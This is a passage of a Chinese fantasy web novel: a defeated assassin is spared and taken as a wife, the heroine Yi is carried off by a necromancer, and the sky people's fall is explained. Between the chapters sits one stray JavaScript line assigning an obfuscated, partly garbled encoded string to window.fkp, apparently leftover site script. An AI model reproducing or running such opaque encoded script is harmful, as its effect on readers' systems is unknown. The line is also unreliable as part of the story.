甘霖饶低下头来,无奈又绝望地说: “我已经一无所有了,可我还用梦想在欺骗自己。——人终究是无法战胜天上人的。命定的局我们终究还是要屈服。” “哎......说的太多了呢。” 这时,甘霖饶抬起头来,微笑着说: “啊......临死前,我还想说几句。” 甘霖饶看向了邵铁华。 “你呀,以后一定要更加坚毅,就像你与我战斗一样。——说实在的,你看着挺招人稀罕的;黑头发还留着长辫子,皮肤白白净净的,眼睛看着也好看,身上穿着的也挺有个性,都挺不错的。” “那么.....我是不能再存活于这个世界上了。刺杀任务失败,就只能回去领死,或是由你来处理掉我。无论哪种,我这把老骨头都活不下去了。——修了三十多年仙,想不到死的时候却没有一点不舍得呢。” 一向声称自己对待战斗是冷血无情如块钢铁的邵铁华,竟在此刻心软而陷入深深的思考,她犹豫着要不要杀掉眼前的甘霖饶。摆在邵铁华眼前的两种选择,她能所预料的结果都不尽人意。于是,她尝试着创造第三种选择,她希望这种选择能让结果尽可能是最好。 见邵铁华犹豫,甘霖饶劝说道: “不要犹豫,小妹妹。犹豫会让你败北的。杀了我吧,这是属于我的结局。即便你不杀掉我,我回去也是死路一条。到头来......还是死路一条。” 邵铁华看了看身旁的殇。殇一脸无所谓的样子,似乎是决定不去干涉邵铁华的选择。殇的表情给了邵铁华底气,她知道该去怎么抉择了。 邵铁华: “你将决定你生死大权交给了我,你不会后悔的,对吧?” 甘霖饶: “为何这么问?——啊,也对。我的确把决定权交给了你,我也不会后悔。” 邵铁华抡起金刚杖,对着甘霖饶猛地一挥。甘霖饶吓得闭上了双眼,她不敢去直视死亡的到来。但紧接着,死亡并没有如期到来,这一棒似乎打了空。甘霖饶睁开眼睛,她很惊讶自己竟然没有死去。邵铁华将手中的金刚杖缓缓移到她的脸旁,然后金刚杖贴紧了她的脸。邵铁华对她露出笑容,这看的她满脸疑惑。 邵铁华收起金刚杖,将其重新变回金刚杵。邵铁华底下身来,凑到她身边,用手轻轻抚摸了下她的脸。邵铁华笑着告诉她: “既然我掌握你的生死大权,是生是死取决于我。那么,我让你活着不过分吧?” 甘霖饶无奈地说: “你这样是没有意义的。我难逃一死,你这样反而会让我在恐惧中殒命。” “不不不。活着总比死了要好。” “呵呵呵......在颠沛流离中生,还不如痛痛快快的死。——我已经没什么可失去的了,我的归宿早就成了樊笼。成全我吧,给我个痛快。” “嘻嘻,那怎么可以呢?你现在是我的人了,怎么可以说死就死呢?” “你这话......等会,什么意思?” 甘霖饶的脸刷的一下就红了起来。邵铁华的脸也多了几分红润。 邵铁华坏笑着对甘霖饶说: “嘻嘻,既然你没有去处,那么就跟我一起走天涯吧。咱们成个家吧,这样我们都不孤独。” 甘霖饶红着脸说: “喂喂喂!你......你这是违背礼仪道德的。女子之间,怎可以?” “没关系的。只要你愿意,你就是我老婆哒。” “这成何体统?女子之间,怎可能有这等关系?你可曾想过,香火怎延续?家室怎体面?” “没事,只要你在就行了。别人怎么说我不在意,亲爱的我只在乎你的想法。” “你!” “你就从了我吧,甘姐姐。” “我......你......” “我们说好的哦,你的生死大权在我手中呢。我想让你活着,你不就得活着吗?我想娶你,不就可以娶你吗?” “哎呀呀!别说了,别说了。我从你,我从你还不行吗。” “好嘞,以后你就是我老婆了。” “唔......等下,那我该怎么称呼你?” “也叫老婆呗。” “嗯......好的呢。” “走,老婆,咱们回家。” 在一旁的殇表情十分奇妙,既有疑惑又有欣慰,他此刻的心里更是五味杂陈。殇看着刚刚还为敌人的两人现在却成了情侣,满脑子都是大大的问号。殇被邵铁华这一通操作弄的是瞠目结舌,一时之间哑口无言,只是愣在原地呆呆地看着二人。等殇缓过劲来,殇陷入了深思。 殇心里: “这都是什么跟什么呀?!怎么打着打着就打出感情来了?合着我是来干架的,她是来相亲的是吗?跟异性也就算了,还是跟同性?!我滴个妈呀,我长这么大就没见过这么离谱的事。比起薇莉莉的那些事,邵铁华才算得上是真离谱。这太离谱了,这超过我知识的理解范围了。” 殇咳嗽了两声,忍不住对邵铁华二人吐槽道: “你们刚刚不还在打架吗?怎么现在就订婚成妻妻了?不是,这......这,这也太离谱了吧。——还有,邵铁华。你难道不要跟伊好了吗?而且我家也容不下这么多人。” 邵铁华露出笑容并摇摇头,她告诉殇: “我和老婆租住在你们隔壁,不跟你们住一起了,怕添麻烦。” 殇瞪大眼睛问她: “这么爽快的吗?——那伊......” 邵铁华笑着回答道: “那她就是我的二老婆喽。” 殇皱紧眉毛,满脸疑惑。这时,殇突然意识到一个问题。刚刚提到伊,殇这才想起伊来。殇看了看周围,并未看到伊。殇慌了,他大声地说: “坏了!说起伊来,你看到伊跑哪里去了吗?刚刚净顾着战斗,都没注意到她。现在找不到人了!” 邵铁华这时也意识到了这个问题。邵铁华张望四周,并未看到伊的身影。她这时也慌了。 邵铁华: “坏了!把伊大妹子给弄丢了!咋子办吗?殇。” 殇: “你说呢?找呗!” 这时,甘霖饶把手搭在邵铁华肩上。邵铁华转头看去,发现甘霖饶的瞳色又变得血红。甘霖饶告诉邵铁华: “我的血瞳能找到她的足迹。不用担心,我的朋友们。” 邵铁华冲她笑了笑,说: “太好了,老婆真棒。” 甘霖饶又脸红害羞了,她急忙露出一抹笑容来缓解。 甘霖饶用仅剩的一丝法力在打斗现场找到伊的足迹,并顺着足迹的延续确定了她的移动路线。但当甘霖饶她们顺着足迹一路摸索到一个漆黑的巷子口前时,那足迹突然断掉了。甘霖饶她们在足迹断掉的位置寻找半天,愣是连伊的一根头发都没找到,伊好像凭空消失了一样。为了确保不留死角,甘霖饶特意排查了足迹消失处附近的楼顶以及房梁,依然是什么都没找到。 甘霖饶试图通过现场的其他足迹来找到伊的踪影,可最后能与伊的去向扯上关系的足迹都是在这个位置断掉了。甘霖饶又搜寻了巷中,发现巷中的足迹多达几十种,压根没法一一排查出带走伊的神秘人的足迹是哪个。 找了很长一段时间后,殇一行人放弃了继续寻找的念想。 之后,殇他们三个坐在一起,商讨了下伊的去向问题。最后经他们三人一致猜想,伊应该是被某个神秘人带走了。但具体这个神秘人是谁,殇他们也猜不出个准确答案。 就在这时,殇突然想起伊随身携带了手机。于是,殇拿出手机,给伊打了个电话。第一次没打通,殇又反复试了两次。最终在试第四次的时候,电话打通了。不过接电话的人可不是伊,而是另一个陌生男子。 殇问电话那头那人: “你是谁?你把伊怎么了?!” 电话那头那人没回答这个问题,而是自顾自地说: “看来,人类的救世主还有朋友?” “你到底是谁?你要把伊怎么样?!” “既然你是救世主的朋友,那你也就是我的朋友。听你这成熟又带有磁性的嗓音,你是她爸爸吧?” “额......对,我是。你把我女儿咋地了?” “咱们先别讨论这个,我们先认识一下彼此。” “认识一下彼此?怎么?我还要绑架我女儿的绑匪成哥们是吗?” “别急着先下定论,我的朋友。我和你都是一个阵营的,不过有些事很急,迫不得已才这么做。” “嗯?” “先自我介绍一下,我叫陌·达纳拉·穆加德士,是天宗地区大名鼎鼎的‘天昭法圣’。你也可以称呼我为‘最后的死灵术士’,或就叫我陌。。” “好长的名字!法圣?你难道是法师?” “没错。而且我还是近战法师兼召唤师。” “你和傀儡师是一路货色吗?” “嗨嗨嗨!不是。——傀儡师是什么东西啊?啊,傀儡师你就是个歌姬吧,弟中之弟,啥也不是。要实力没实力,要颜值没颜值,就是个躲在别人身后放暗箭的垃圾。” “看来你也跟我一样不喜欢傀儡师啊。” “咳咳,扯远了。——哥们,那你能告诉我你叫什么名字吗?” “我叫殇。” “哦!很有个性的名字。——好了,该说正事了。我把伊小姐带走不是图谋不轨,我可不是那种目光短浅的耗子。我是为了响应生命律法卡门·赛普斯的感召,将人类的救世主送往方舟圣殿,让其获得能改变世界命运的圣器。只有这样,我们才能拯救这个濒临毁灭的世界。” “哦~~~原来如此。想不到她竟能有这番资质,真是小看她了呢。——你能保证你说的是真的吗?陌。” “我能用我百年的荣誉保证,我说的每一个字都是真实的。若我欺骗了你,你随时都可以来我的故乡找我寻仇。我不会逃跑,因为再死一遍对我来说不算什么。我早已超越生死。” “多的我也不说了。——这段时间拜托你照顾好她。她是个战斗上的菜鸟,战斗力不高,别指望她能去战斗。她还挺脆弱的,老容易被弄哭,就像个小孩子一样。照顾她的时候对她温柔些,别让她受伤什么的,不然很麻烦的。” “嗨呀!你可真是亲爹呀,不是亲爹都说不出这样的话来。我小时候要是有个像你这样的父亲,我也不至于能惆怅半辈子。——咳咳......说远了。我记住你说的这些了。放心吧,我会照顾好她的。” “有时间你和她都可以用这个手机跟我联系。她那边要是出了啥事,可务必要给我打个电话。别让我担心,可以不?” “好的。兄弟。——等等,兄弟,我再问个事情可以不?” “问吧。” “你会死灵术吗?或者说你身旁的人会死灵术吗?” “不会呀,怎么了?” “那没事了。我单纯好奇,就问问。” “那好,话就说这么多吧。再唠下去她手机就该欠费了。” “行。——还有,这玩意怎么挂啊?” “啊?你会接电话,怎么能不会挂电话?” “我来来这里就看过别人接电话,不会挂啊!” “行吧。——你点那个红色的球,就能挂电话。” “哦。是这样吗?” 随后电话那头挂断了电话。 电话挂断后,邵铁华很担心地问殇: “伊怎么样了?” 甘霖饶也担心地问: “是被其他宗门子弟抓走了吗?” 殇回答道: “不,她被一个德高望重的法圣大哥带走了。” 甘霖饶心里悬着的石头放下了。甘霖饶叹了口气,说: “所幸不是被爪牙带走了。” 邵铁华很惊讶地说: “啊?那他现在在哪里?我们去把伊救回来。” 殇摇摇头,说: “不用了。伊身上肩负了新的使命,她得取到圣器之后才能回来。” 邵铁华和甘霖饶异口同声地问道: “圣器?那是什么?” 殇摇摇头,说: “我不知道,也许是某种厉害的武器。——总之得等伊回来,我们才能知道那所谓的圣器是何物。” 与此同时...... 在殇的暂住地中,一道黑色的裂缝从殇卧室的地板上出现,紧接着一个身披黑衣的骷髅人从这裂缝中钻了出来。骷髅人一眼就看到了化成石像沉睡着的小咒刀,这正是它前来寻找的宝物。它喜出望外地说: “戊赦天殿下,终于是找到您了。” 它立刻用法术将熟睡中的小咒刀唤醒。法力通过它的手输送向了小咒刀体内,随即小咒刀身上的石化现象消失。小咒刀缓缓睁开了眼,在见到它的一瞬间,小咒刀愣住了。小咒刀疑惑地问它: “他妈的!你怎么穿得如此露骨?而且,你这时候把我叫醒是要干嘛?” 它吐槽道; “过了这么多年,您的嘴依然是这么奇妙啊。” 小咒刀有些不耐烦地说: “有屁快放,我还要美美的睡上一觉呢。” 它告诉小咒刀: “戊赦天殿下,我们需要你的帮忙?” 小咒刀疑惑地问: “戊赦天?你怎么知道我的本名?” “是您在路上留下的种子开了千年的花,如今结了多种缤纷的果。” “说人话。” “就是你血脉的传承人因大业要将您换回到身旁。” “啊?” 小咒刀回想起了一些不好的回忆。他回想起当初那些年里他背着他正婚妻子干的那些事......以及他曾说的那些无法兑现的承诺。它不禁开始害怕起来。 小咒刀十分慌张地说: “那......那,那跟我有啥关系,又不是我的祸。只是春天到了,人与人之间的关系稍稍融洽了些。” 它一脸疑惑地问: “啊?殿下,你在说些什么?” “哦,我知道了,没事,没事。你继续说你的,给我个能动身的理由。” “我的主人找到了人类的救世主,恳请你帮助这位救世主取得圣器。” “不去。没意思......” “确定不去吗?” “我告诉你,我,戊赦天,就是被人打成碎渣,烂在外面,从天上摔到深渊底层,我也不会陪你们去找什么圣器。” “就知道你会这么说!嘿嘿,我的主人告诉我了,那位救世主可是叫伊哦。” “啊?!!不行,我要去,我要去!我要回到主人身边去。” “刚刚殿下您还说不去的,怎么又改口了呢?” “不嘛不嘛,人家刚刚是开玩笑的,别放在心上嘛。人家哪能这么无情,说不去就不去呢?都是玩笑,玩笑。” “那好吧。——戊殿下,跟我来吧,我带你找我的主人去。” “好的呢。” 说完,小咒刀跟随着它一起走入了地板上黑色裂缝,随即一同慢慢没入裂缝之中。在他们的身影消失之后,那黑色的裂缝也随之消失了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第三话:赋予新使命 与此同时..... 伊睁开朦胧的双眼,缓缓醒来。她第一眼看到墙上的画作与放在一个小桌上的盆栽,一时间猛然坐起。伊环顾四周,发现自己正处在船员卧室;这里的空间不大,室内的陈设朴素,吊灯挂在天花板上发着微光,看着好一番安宁;这处处都在体现着这艘船的质朴。看到这些,她惊愕之余多是迷茫,一时呆坐在床上思考。 伊心里: “这里是哪里呢?我那时不是在街道上吗?——这里看起来像是水手的房间,也许我在一艘船上?不管那些了,先去附近看看吧。” 伊从自己躺着的小床上坐起,又环顾了一圈后下床在室内走动。室内的一切多是再正常不过的卧室所有物,伊检查了一圈都没发现有什么特别的。伊又去门前看了看,门把手与门的样式也没什么特别之处。伊拧了拧门把手,发现门没锁。于是伊就打开门离开这个房间,去船舱内的其他地方转一转。 伊刚走出门没多久,就问到了空气中浓烈的烟味。伊捂起鼻子,五官凑在一起,甚是厌恶这味道。但闻到这味道,就意味着船舱内除她以外还有别人。伊动脑筋想了想,决定顺藤摸瓜,找到吸烟者。 随她的想法,她顺着这味道在船舱内找到了一个四壁画满诡异符号的房间,还在这房间内找到了一具活骷髅。她通过门缝偷看,见到那骷髅的样子,她被深深震撼到,立即就捂住嘴,防止自己出声惊扰对方。那骷髅身着一身洁白无瑕的圣衣、头戴圣树枝条编成的头环、手里拿着金色烟斗,正坐在摇椅上悠闲地吸着烟。她注视了一会,突然发现这骷髅的着装竟如耶稣,实属深深震撼到了她。 她正偷瞄着,突然间,那骷髅竟回过头来看向房门,似乎是察觉到了她的存在。她见了,猛地瞪大眼睛,下一秒身躯后移,转身就要跑。谁知一面金色的幻影墙拦住了她,让她逃之不及。她看到眼前的幻影墙,心里咯噔一下,顿时间吓出了一身冷汗,别提此刻是有多紧张与害怕了。 伊心里: “完了,跑不掉了。怎么办......” 这时她身后的门突然打开,一阵阴风吹过她的发梢。她木讷地转过头来,那骷髅就站在她的面前。她一脸惊恐地看着这骷髅,一时之间吓得不敢说话。那骷髅见她这表情,嘎嘎笑了几声,不急不慢地拿起烟斗吸了口烟,然后向一旁吐出。 “孩子,睡得怎样?” 那个骷髅平和地说。伊一听,马上回应道: “挺好的。” 那骷髅嘎嘎笑了两声,一脸平和地转过身去,收起了那面幻影墙。那骷髅拿着烟斗,平和地告诉她: “孩子,不用害怕我。我不会伤害你这个呆头呆脑的小可爱,我反而会疼爱你几分呢。——自我介绍一下,我叫老骨,你也可以叫我的别名:‘不死耶稣’。” 听到这骷髅这么说,伊顿时间就放心下来,心里一点压力也没有了。既然是友善的,那么对于伊来说就是朋友。听到这骷髅的别名后,伊一脸惊诧地问: “不死耶稣?——老骨爷爷,你难道真的是耶稣?” 老骨嘎嘎笑了几声,接着解释道: “不,孩子。耶稣啊,他早就死了。” 这时他走到了摇椅旁,他就扶着摇椅把手坐下,然后动弹身体摇动摇椅,优哉游哉地吸起了烟。吸了一口,轻轻吐出,他平和地对伊说: “孩子,找个地方坐下吧,我想和你聊一聊。” 伊点头答应,然后找到一处椅子坐下,正巧这椅子正对他的摇椅。见到伊坐下后,他吸了口烟,轻轻吐出,接着说道: “孩子呀,你信教吗?” 伊回答道: “老骨爷爷,我不信教。” 他嘎嘎笑了两声,说道: “不信为好啊,不信为好啊。” 伊好奇地问: “老骨爷爷,为何这么说呢?” “孩子,你有所不知啊,这世界上的种种信仰所促生出的种种教派,都是人做主啊。教主、教徒、教父、主教、教皇......一个个都是冠冕堂皇的称呼,可这其实本没有意义。——这世界上从来都没有神,有的只是强大的生物,或是强大的人。” “您说的对。” “耶稣早就死了。在他被绑上十字架前,他就已经死了。所谓神之子,所谓还魂成神,都不过只是艺术性的表演罢了。——有谁能知道,在最后的晚餐上,耶稣戏谑地被刺死,孤零零地埋葬在河床中呢。若不是有一个好心法师捞起了耶稣,耶稣就连骨架都剩不下了。” “那么,莫非您就是?!” “不,我不是。因为耶稣已死,真理永存。这世界没有耶稣,也不存在耶稣,有的只是旧时代的骨架与新时代的巨龙。” “我明白了,老骨爷爷。” “嘎嘎嘎,你可真是聪明呢,你这漂亮的姑娘。” “过奖了,老骨爷爷。” 这时,老骨将手伸进胸膛内,拿出了一块黑石的碎片。老骨将这碎片轻轻地放到伊的手掌心中,又用自己干瘦的手抚摸伊的手。伊紧紧地攥住这块碎片,这块碎片与艾芙琳曾交给她的那块十分相似。这块碎片沉甸甸的,仿佛一份责任,又似一份传承。老骨告诉伊: “这是一份重要的礼物,请你收下,孩子。——这礼物是一块神石的碎片,那块神石被誉为‘终末’与‘颂歌’。我曾还有眼睛的时候,我还知道光明的样子。那时候我最常能见到的,就是这两样事物。” 老骨将手抽了回去,又吸了一口烟,轻轻吐出。老骨嘱咐道: “当你集齐十块终末石的时候,你将能看到宿命。终末的光芒会照亮你人生的道路,你会明白那些我渴望明白的一切。——人,与神只是差了一个台阶,还不是低头的时候。即便无上,也亦终死。那就是宿命啊,人类唯一的圣君仁华。” 伊点点头,顿时感觉心头的负担与责任加重了几分。虽不知他为何要与伊说这些话,但伊能真切感受到这份责任的重要性,这值得她去奋斗、去坚守。交代完这些,老骨将头转了过去,继续优哉游哉地吸着烟。一边吸,他一边说: “圣君仁华啊!你的出现对这世界来说是春日细雨,那腐败之火要遭殃喽。真希望你能腾飞如鹰隼,不被樊笼困于大地。——沿着走廊里的路前进吧,你会见到我恩人的世传真徒。到时候,他会告诉你一切的。” 伊听的云里雾里,没完全弄明白他这些话的意思,只感觉一切都是那么突然,她还未来得及消化这些信息。她脑中有很多疑问想去解开,有太多神秘的事她渴望去了解。 伊点了点头,说: “知道了,老骨爷爷,谢谢你告诉我这些。” 说完,伊起身离开了这里,遂在船中漫步,寻找那所谓的真徒。在伊离开后不一会,老骨仰望着天花板,富有感情地说: “光之子,希望你能不负众望,夺得仁华之位。天上的人觊觎那把神器许久,曾多次尝试寻找神殿,所幸无果而归。若让他们夺得仁华之位,这个世界免不了腥风血雨、尸横遍野。——将希望埋藏在未来之中,愿它能开出绚烂的七色花。” 与此同时,伊来到走廊尽头的大房间门口,突然见到门内向外射出的幽光。伊好奇,就推开这个房间的大门,恰巧就找到了那所谓的真徒。 一个手持华贵烛台改制成的三叉戟、身着蓝袍的法师伫立在房间中。这位法师的姿势很庄重,看起来是正对着面前的墙使用什么法术。听到门开的声音,他仍继续施法,直到施法成功后,他才转过身来去看伊。 他黑色的头发垂落下的头发帘遮住了他的左眼,黑色的咒痕从脖颈蔓延至他的双臂与右脸,如树根一样错综盘踞在他健壮的身躯上。头发帘轻微晃动,刹那间能观察到他独特的紫色星彩样的左眼;左眼不同于右眼,他的右眼橙如秋叶之色,从中能洞悉出深层次的智慧。 淡黄色的皮肤,布满沧桑的痕迹,那是他曾奋斗的影子。略瘦一些的面颊,平凡又朴实的五官,唇上淡淡两撇白色胡子与唇下一撮白色山羊胡,质朴之中又有些帅气。身披一件蓝色法袍,边缘绣金纹春花;内穿一身轻柔的法师服饰,配色如山峦般灰暗又显艳色,其造型有几分像兵服。 见到他后,伊从容地向他打招呼,丝毫没有怕生。 “你好呀,这位先生。” 见伊对自己打招呼,觉得伊甚是礼貌,于是他也跟伊打招呼。 “你好,伊。” 打过招呼,伊切入正题,问他: “敢问尊姓大名?为何知道我的名字?” 他回答: “我叫陌·达纳拉·穆加德士,传说中的天昭法圣,人类最后的死灵术士。你可以称呼我为陌,伊。” “知道了,陌。” “伊,你知晓你来这里的目的吗?” “我不知道呀。突然来到这里,我还什么都没弄清楚呢。” “哦?那既然如此,就由我来告诉你吧。” 陌微微抬起三叉戟,向下一敲,摆出庄重的样子。陌告诉伊: “伊,创世女神希德薇拉你可曾听过?” 伊思索一下,回答道: “听过。神话里常常将她比喻为母神,据说她是伟大而又无私的存在。” 陌笑笑,说: “在云巅之上,我们曾经的故乡,有三位至高无上的仁华之神。她们分别是我们敬爱的创世女神希德薇拉、秩序女神卡门·赛普斯、律法之神俄拉图恩·赛普斯。他们是神明,但不掌管一切。——在唯物的世界之中,神之名不过是力量的代言。” 陌抬头看了看天花板,又低头、转头去凝视伊。陌继续说: “我感召到命运在星海扶摇之上呼唤我的名字,是赐福降临到了我身旁。它指引我离开家乡,又指引我跨过千山万水,去寻找那唯一,这个世界的唯一。而你,就是命中注定。我这一生能否算得上圆满,就看你是否是那朵耀眼的花儿了。” 伊一脸惊愕,心里有说不出的滋味。这种感觉,仿佛是肩负重任、仿佛是英灵的呼唤、仿佛是一对沉甸甸的羽翼落在她身上。伊大惊,惊呼道: “什么?!这是真的吗?” 陌笑笑,说: “人类唯一的救世主,就是令君呀!——卡门选择了你,俄拉图恩也选择了你,整个世界都选择了你。伊,你身负女神血脉,肩负拯救苍生之大任。——你是我苦苦寻找的那个唯一,新一任圣君仁华。” 伊深感震惊,一时间都说不出话来了。她心里如一锅混色的汤水一样,各种感情都加料在其中,一时之间分不出谁上谁下;这锅汤的颜色始终缤纷。惊讶有个稍长些的片刻,伊就便回过神来,去思索当下的种种问题。 被授予重任她自然是喜悦,但问题也接踵而至。她能否胜任?这事关她的使命?会不会影响她的使命?伊此刻还不能就做出定论,一切还都是未知数。至于具体答案如何,还得待往后见分晓。 伊: “陌,你告诉我的这些,是真的吗?” 陌: “我岂敢骗你?救世主。” 伊: “可为什么偏偏选中了我呢?” 陌: “我不曾知晓,至今仍是疑团。我只明了一点,命中注定的是一尘不变的,维护者们的需求不会是无意义的。——若只是一句简单又空穴来风的话,我便不会来到这里。可我通过视界看到了痛楚扩散、泛滥的样子,我这才相信了长老们的话、我这才明晰了我该做的事:那便是顺着指引来寻找我们唯一的仁华。” 伊: “可神明的指引就一定是正确的吗?” 陌: “这也是疑团,但希望总归是值得相信的。——我曾从古代文献中了解到,上一个受到指引的仁华协助者真的帮助初代圣君仁华成为了圣君仁华。——秉持着信念与决心,我觉得前人之事我也能做到。” 伊: “结果会是怎样?陌,你想过这个问题吗?” 陌: “我想过,因而我才出现在你的面前。——无论结果如何,这个世界都将进行下去,不过不同结果会决定不同结局。是希望恒生,还是绝望永存,都不是我们能所预见的。我们能做的,就是这条道路上前行。” 伊: “若我真的做到了,这个世界会变成什么样子?” 陌: “你若持剑制衡光与暗,那么世界注将是一片祥和南宁。但你若堕化,持剑挥砍向任意一方,无论倒下的是光还是暗,这个世界都住将走入一段低迷时期。至于长短,取决于你的意志。” 伊: “我明白了,陌。” 伊闭上眼睛思索片刻,转瞬间睁开眼睛。她的神情愈发坚定,答案在她心里已经明晰。 伊: “请告诉我更多。” 陌听伊这么说,满意地笑了笑。他含蓄片刻,而后告诉伊: “所谓圣君仁华,就是圣剑‘文明方舟·黎明’的掌握者,是被赋予能改变世界之职责与力量的圣君子。每当世界出于濒临毁灭的边缘时,人类这一庞大的种群之中就会有人感受到卡门的呼唤,那些人被称为‘指引者’。” “在指引者的帮助下,人类的圣君仁华候选人将踏上一条新航路,去到传说中的溟迷灯塔所在禁域,找到埋藏在禁域之中的圣殿。之后在圣殿内接受考验,最后成为圣君仁华。” 伊听明白了,轻轻点了点头。伊问陌: “那你就是我的指引者喽?” 陌笑答道: “没错。伊。” 伊接着问: “那么候选人就我这一个吗?” 陌叹了口气,答道: “不,其实是有七个的。因为某些繁文缛节的缘故,有三位拒绝了我们指引者的指引,选择随遇而安。因为某些生存问题,剩下三位中的两位也拒绝了我们,选择安分守己。最后一位,最有可能和你竞争的那一位,已经在诸多变故中成了牺牲者,身虽存但精神已疯。” 伊瞪大了眼,问: “所以我就是最后的唯一了?” 陌点头答道: “没错。” 伊又问: “那我们什么时候出发?” 陌笑笑,说: “我们已经在路上了。” 伊露出惊讶的表情,说: “啊?这么快吗?” 陌说: “事不宜迟,早在你苏醒之前,我们就在路上奔波了。” 陌突然面露难色,告诉伊: “为了阻止天上人夺取仁华的计划,我们没有停留一刻。就包括与你见面,将你接到船上之类的事,都做的匆匆啊。” 说到天上人,伊一下子就来了兴趣。她问: “天上人不是传说中的天宫人员吗?难道他们是的确存在的?” 陌回答: “没错。” “哇哦!那他们为什么要夺取仁华呢?” “为了他们的野心大业。” “野心大业?” “请找个地方坐下,然后且听我娓娓道来。” 伊和陌在房间内找了对桌椅坐下。陌唤来自己的死灵助手,为伊和自己上了份茶。见到陌还有这个能力,伊一时是目瞪口呆。见伊这么惊讶,陌告诉伊: “不必如此惊讶,伊。我是死灵术士,能召唤个死灵是再正常不过的事了。” “这死灵术是我家族单传的秘术,是外人学不得的。因而在我的家族衰落之后,这份死灵术也就便在我这代结束了。——你可能看不出来,我今年可是1011岁的老头子了。同时,这也是我单身的第1011年了。” 伊很惊讶地说: “哇!你都有一千多岁了。但......还是找不到女朋友?” “没错。因为我所生活的地区方圆百里以内杳无人烟,只有我们一家子生活在那里。你是我这辈子见到的第三个女人,这说来很奇妙不是吗?” “这真是让人惋惜呢。” “我也曾有过女朋友,不过她没熬得过时间。十年才有一次的约会,她一生只来了两次。一次是她二十岁正值花季年华的时候,另一次是她正值花甲的时候。若不是我为了寻找死亡与生命的意义而四处奔波,我也许还能捞到她的骨灰。我的死灵术能将她的样子重现.......” “这是你的一大遗憾吧。” “不,这反而激励了我,让我在寻找着意义的路上更加有动力。我相信,死亡是永生的一种方式,死了一次的人不会再次死去。她只是永生在了星海苍穹之上,或是那泥泞深根之下。——哈哈哈,那我还得祝愿她过得快乐呢。” 陌拿起了茶,喝了一小口,而后一笑,完全放下过去的伤痛。 陌: “咳咳,扯远了。——我们继续说天上人的故事吧。” 伊: “......嗯。” 陌清了清嗓子,然后深情地诉说起那段故事。 陌: “天上人曾存在一个辉煌时期。那时人间最强战神、大名鼎鼎的火薪王钟离隆武还在天之乡中,那时候地上所有的人都要仰望天上人。但后来不知为何,火薪王突然砸碎万年魂环,将天之乡蕴藏的灵力释放出去一半;火薪王还切碎火种,并带走了火种的碎片。” 伊: “火薪王为何要这么做呢?” 陌: “这至今是个未解之谜,也许只有见到火薪王本人,与他交谈才能知晓这答案的究竟。——自那之后,万年魂环陷入永无止境的崩塌、破碎,无数仙人帝君的魂力四散而出,如天女散花般泼洒向五湖四海。火种破碎,随魂环一起。火种中蕴含的‘薪火’引发了长达十年的大火,天之乡遭到了前所未有的浩劫。那时若不是雷薪王慕容洵美及时出手,用身体作为容器吸收了部分薪火,真不知那大火不知得烧到什么时候。” 伊: “这真是个沉痛的灾难。” 陌: “火种剩下的那些中的一半在这场大火中丢失,其中多是飞出天之乡去,去到世界各地。火种一经破碎,就难以回收。据说火种的碎片原本只有四片,但在那大火之后,就变成了上万片。——自从那场大火之后,天之乡便闭关锁路,陷入永恒的保守状态。火种的缺失与魂环的破碎对天上人一族造成了不可估量的损失。天上人一族就是在那之后走入低谷,一蹶不振了。” 伊: “原来如此。那所谓的野心大业便是复兴天上人一族喽?” 陌: “不,伊。你想的还是太简单了。——雷薪王之后,是龙薪王轩辕登基。龙薪王的时代是衰唐前的最后黄昏,那时天之乡还是一片祥和的景象。自从那薪火泛滥成灾又被镇压回去之后,天之乡的灵韵赐福就日渐微弱。虽微弱的幅度不算大,但日积月累下来,今朝就比当年弱小了不知多少倍。” 陌: “后来天上人一族内部又发生了叛乱,这场叛乱彻底击垮了天上人一族,是天上人一族走向末路的转折。这场叛乱,史称:‘繁仙堕天’。龙薪王的轩辕世家和神匠邵氏在叛乱中离开天之乡,集体迁徙到了人间。诸多有名的神仙天将在叛乱中战死,其中有少数也随同邵氏他们来到人间。天上人的战力在叛乱后锐减,就连辉煌时期的一成都达不到。” 陌: “曾是大学士与修行者崇尚的天之彼岸,在战后彻底走向衰落。地面上的人知道了,也便不再向往那里。渐渐地,人们就遗忘了那片天空中的土地,遗忘了那些曾高高在上的天上人们。属于修行者的时代也同这一起走向衰落。没了突破修为的最佳捷径,修仙就成了人世间最难的事。——据我调查,人间最后一位仙人是修,他还是轩辕世家的一位亲家。” 伊: “修爷爷?” 陌: “你难道认识他?” 伊: “认得。我之前的冒险中有幸见到了他。” 陌: “哈哈哈,真是巧了。——咳咳,我继续说。在龙薪王的时代之后,是仙薪王白帝登基。白帝的时代是逐渐走向颓唐的末路,天上人早在那场叛乱之后彻底失去了复兴的希望。白帝穷尽一生来复兴天上人一族,可最后还是失败了。种种利益的锁链束缚住白帝的复兴之梦,成为他前行最大的障碍。天上人内部的腐朽日渐暴露出来,荒淫无道的日子很快就到来了。天上人们在那种日子里日渐腐化,最后失去了曾作为至高力量的德义。” 陌: “白帝为了制衡阻止他的天上人内部势力,偷偷对自己的妻子用了‘薪火传承仪式’,那是火薪王时代才有的秘技,是只有在天上人陷入毁灭的浩劫之时才能用的秘技。白帝的妻子梅花十月进入永生不灭的境地,并保持永恒的美丽姿色,以便在未来的某一时刻,诞下生来注定是薪王的孩子。那孩子,绝不属于白帝,也注定不是白帝家的香火。——白帝发誓过,终生只为复兴天上人而奋斗,至于儿女情长的家事,他则会毫不吝啬地放在一旁。白帝非常疼爱、珍爱自己的妻子,因而绝不与妻子行暧昧之事。” 伊: “白帝是个伟大的人呢。” 陌: “在持续了许久的努力之后,白帝由黑发变白发,成仙也改变不了人会衰老死去的事实。人固有一死,不过是死的早还是死的晚的问题了。在经历了一系列的事件之后,白帝彻底失望了,他委婉地选择了放弃。他斩杀了侍奉追随并保护自己的灵兽恣睢,背负重罪宣告与天上人决裂。他又带着妻子逃亡向人间,也顺手杀掉了他妻子的灵兽。没了灵兽协助定位他们二人的踪迹,天上人不可能找得到他们。失去了薪王,又失去了造就薪王的薪火之种,天上人陷入了前所未有的危机。” 陌: 